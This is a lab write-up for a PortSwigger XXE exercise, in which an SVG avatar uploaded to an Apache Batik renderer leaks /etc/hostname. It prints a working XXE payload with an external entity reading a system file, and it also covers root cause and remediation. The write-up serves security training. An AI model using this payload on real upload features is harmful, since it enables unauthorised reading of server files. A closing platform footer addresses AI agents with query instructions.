> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/06.-xml-external-entity-xxe-injection/lab-writeup-exploiting-xxe-via-image-file-upload.md).

# Lab Writeup: Exploiting XXE via Image File Upload

**Lab:** [Exploiting XXE via image file upload](https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload) **Difficulty:** Practitioner **Category:** XML External Entity (XXE) Injection → File Upload / SVG **Objective:** Upload an avatar image that, after server-side processing, visually displays the contents of `/etc/hostname`. Submit the leaked hostname as the lab's solution. **Result:** ✅ Solved — leaked hostname: `2ab98158bcde`

***

### Part 1: Why Can an Image Upload Cause XXE? (Explained Simply)

Most people don't think of "upload a profile picture" as an XML injection point — but several extremely common image and document formats are **secretly XML** under the hood:

| Format                 | What it actually is                               |
| ---------------------- | ------------------------------------------------- |
| **SVG** (`.svg`)       | A full XML dialect for describing vector graphics |
| **DOCX / XLSX / PPTX** | Zipped bundles of XML files (Office Open XML)     |
| **KML / GPX**          | XML formats for geographic data                   |

When an application says "upload an image," it often just checks the file extension or MIME type — not whether the *content itself* is safe. If the server then hands that file to an XML-aware image-processing library to render, resize, or convert it, that library's XML parser is exposed to attacker-controlled input, exactly like a dedicated `/api/xml` endpoint would be.

#### This lab specifically: Apache Batik

This lab uses **Apache Batik**, a real, widely-used Java library for rendering SVG images (used historically in various PDF/image-generation pipelines). Certain versions of Batik process the SVG's XML — including any `DOCTYPE` and external entities it declares — before rendering it as a raster image. That means a `.svg` file isn't just a picture to this parser; it's a full XML document that gets interpreted.

```mermaid
flowchart TD
    A[Attacker crafts a .svg file<br/>containing DOCTYPE + external entity] --> B[Uploads it as an avatar<br/>via the comment form]
    B --> C[Server passes the file to<br/>Apache Batik for processing]
    C --> D[Batik's XML parser resolves<br/>the external entity<br/>e.g. file:///etc/hostname]
    D --> E[Entity value is substituted<br/>into the SVG's text element]
    E --> F[Batik renders the SVG to a raster image]
    F --> G[Rendered avatar visually displays<br/>the leaked file contents as text]
```

The trick is that the entity reference sits inside an SVG `<text>` element — so once the entity is resolved, its value becomes literal text baked into the rendered image itself. You don't need the app to "reflect" any XML back to you; the leak is visible directly in the picture.

***

### Part 2: The Lab

**Target:** `https://0aae00540446f438c44b43d0008000bd.web-security-academy.net` **Result:** ✅ Solved — leaked hostname: `2ab98158bcde`

This vulnerability class in Apache Batik is a known, publicly documented issue (tracked as CVE-2015-0250) — Batik's SVG rendering pipeline parses the uploaded file as full XML, including any `DOCTYPE` and external entity declarations, before rasterizing it. This lab reproduces that exact flaw.

#### Step 1 — Craft the malicious SVG

```xml
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
```

**Breaking this down:**

* `<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>` — declares an external entity `xxe` pointing at the target file. Since this is a standalone SVG file (not embedded into someone else's XML), you fully control the document and can freely place a `DOCTYPE` at the top.
* `<text font-size="16" x="0" y="16">&xxe;</text>` — references the entity inside a visible SVG text element, so its resolved value is rendered as on-image text.

Save it locally:

```bash
cat > payload.svg << 'EOF'
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
EOF
```

Now just open the blog page and write a comment, after submitting view the image in new tab :)

#### Step 6 — Submit the solution

Click **"Submit solution"** in the lab banner and enter the leaked value:

```
2ab98158bcde
```

<figure><img src="/files/pls5cMqLfHhOacjxHoqd" alt=""><figcaption></figcaption></figure>

***

### Root Cause

The application accepts arbitrary SVG files as avatar images and passes them to Apache Batik for server-side rendering without disabling DTD processing or external entity resolution in the parser. Because Batik treats the uploaded file as a full XML document rather than "just an image," any `DOCTYPE`/entity declarations inside it are honored during rendering — turning an ordinary file upload feature into a full XXE injection point.

### Remediation

* Disable DTD processing and external entity resolution in the XML/SVG parsing library (Batik and most other SVG renderers provide configuration flags for this — treat it the same as hardening any other XML parser).
* Validate uploaded "image" files by their actual content/structure, not just extension or declared MIME type — reject files containing `<!DOCTYPE` or `<!ENTITY` declarations outright if SVG upload is required at all.
* Where possible, avoid accepting SVG uploads entirely for user avatars/images, or convert/sanitize them through a dedicated SVG-sanitization library before rendering.
* Apply least-privilege file-system permissions to the process performing image rendering, limiting the blast radius of any successful file-read.

***

### Key Takeaway

XXE isn't limited to endpoints that explicitly say `Content-Type: application/xml`. Any feature that accepts XML-based file formats — SVG, DOCX, XLSX, PPTX, KML, GPX — and processes them server-side (thumbnailing, rendering, metadata extraction, format conversion) is a potential XXE surface. Always check what library handles "image" or "document" uploads under the hood, since many of those libraries are XML parsers in disguise.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/06.-xml-external-entity-xxe-injection/lab-writeup-exploiting-xxe-via-image-file-upload.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
